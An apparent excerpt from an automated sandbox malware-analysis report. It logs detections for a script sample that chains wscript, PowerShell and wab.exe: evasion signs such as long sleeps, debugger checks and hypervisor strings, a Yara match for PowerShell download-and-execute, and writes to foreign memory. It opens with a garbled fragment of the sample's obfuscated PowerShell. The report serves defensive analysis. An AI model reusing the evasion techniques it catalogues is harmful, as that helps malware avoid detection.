PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD34625479 push ebp; iretd	8_2_00007FFD34625538
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD34626DCA push eax; iretd	8_2_00007FFD34626DCD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1EC78 pushfd ; retf	11_2_04E1EC79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E10D48 push esi; retf	11_2_04E10D52
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E11143 pushad ; retf	11_2_04E11151
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1115D pushad ; retf	11_2_04E11151
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_07CC1FB2 push eax; mov dword ptr [esp], ecx	11_2_07CC21B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_0896387D pushfd ; retf	11_2_08963881
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_089636D9 push ebx; iretd	11_2_089636DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_089637B8 pushad ; retf	11_2_08963871
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481310 push cs; iretd	13_2_07481326
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07480313 push cs; iretd	13_2_07480326
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07483313 push cs; iretd	13_2_07483326
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481B16 push cs; iretd	13_2_07481B26
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_0747ED25 push cs; iretd	13_2_0747ED26
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07482B23 push eax; iretd	13_2_07482B24
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07480525 push cs; iretd	13_2_07480526
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481525 push cs; iretd	13_2_07481526
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481D25 push cs; iretd	13_2_07481D26
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07482041 pushfd ; retf	13_2_07482048
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481E10 push cs; iretd	13_2_07481E26
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07480013 push cs; iretd	13_2_07480026
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481013 push cs; iretd	13_2_07481026
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481613 push cs; iretd	13_2_07481626
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481813 push cs; iretd	13_2_07481826
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_07481C2F pushfd ; iretd	13_2_07481C48
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_0748083B pushfd ; ret	13_2_07480848
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 13_2_0747E8E8 pushfd ; ret	13_2_0747E8E9

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API/Special instruction interceptor: Address: 766E8DA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5453	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4436	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7156	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2592	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 6904	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5192	Thread sleep count: 7156 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5112	Thread sleep count: 2592 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5668	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2115161308.000001D124CA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2115370479.000001D124CA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2113344906.000001D124CA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2115604649.000001D124CA5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000008.00000002.3601488920.00000197DBC3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_4416.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7148, type: MEMORYSTR

Writes to foreign memory regions

